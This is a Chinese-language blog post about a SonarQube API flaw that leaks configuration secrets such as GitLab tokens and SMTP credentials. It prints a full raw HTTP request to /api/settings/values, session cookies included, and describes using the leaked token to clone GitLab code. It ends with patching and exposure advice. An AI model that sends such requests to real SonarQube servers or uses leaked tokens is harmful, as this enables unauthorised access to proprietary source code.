SonarQube API越權漏洞的思考
SonarQube是一款基于Web的工具,是一個開源的代碼質量管理系統,可幫助開發人員生成沒有安全問題、錯誤、漏洞、異常和一般問題的代碼。
如果您在開發一個小項目,那可能很容易,您可以仔細檢查代碼以發現任何問題。SonarQube屬于SAST類的代碼檢測工具,更側重于質量檢查,也有一些針對性的安全檢測,比如SQL注入等,我用過商業版,試圖利用SAST來發現和解決代碼安全問題,比較失望。規則庫比較弱,自定義能力差,畢竟只是更專注于質量檢查。
大背景
近期,境外網站又報道了一些涉及中國多個機構和企業的代碼泄漏,就是利用SonarQube的這個API越權漏洞進行的。
(1)The Chinese Ministry of Public Security
(2) BOSCH 博世
(3) 梅賽德斯奔馳
SonarQube API 未授權下載源代碼漏洞利用過程及原理
SonarSource SonarQube由于存在安全漏洞,攻擊者可利用該漏洞通過API設置值URI,發現明文的SMTP和GitLab憑證(tocken)等敏感信息泄露,可導致gitlab中項目的代碼可以被任意clone下載,其實這個漏洞在2019年就被發現了。官方修復過一次,但是又出現了新的漏洞,并且一直延伸到7-8-9多個版本。
漏洞細節:
漏洞利用過程及證明:
(1)敏感配置泄漏:
以普通用戶登陸就可以查看該AP I信息,如下:
GET /api/settings/values HTTP/2
Host: sonar.******.com
Cookie: experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6; XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e; JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGI
Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (KaliLinux; ARM) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/189.0.4389.90 Safari/637.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
官方進行過修復然后該接口應該只允許管理員可查看。
但是很多內置了默認賬號和簡單弱口令賬號同樣可查看。
(2) 利用該user_token可以來從gitlab獲取代碼:
看,就是sonar.gitlab.user.token , 直接可以拉代碼數據。
還能通過配置文件看到數據庫賬號密碼等。非常久遠的漏洞了。
看看如何利用sonar.gitlab.user.token 拉代碼:
解決辦法
關注廠商官方網站,即使升級補丁。
友情提醒
看看至少有多少暴露在公網:數量還是很驚人的,這么多假裝在乎代碼質量的用戶,不在乎安全性個代碼泄露。
SonarQube 不建議對公網開放,Devops流程中如需要使用SAST請采用專業的工具,請棄用SonarQube。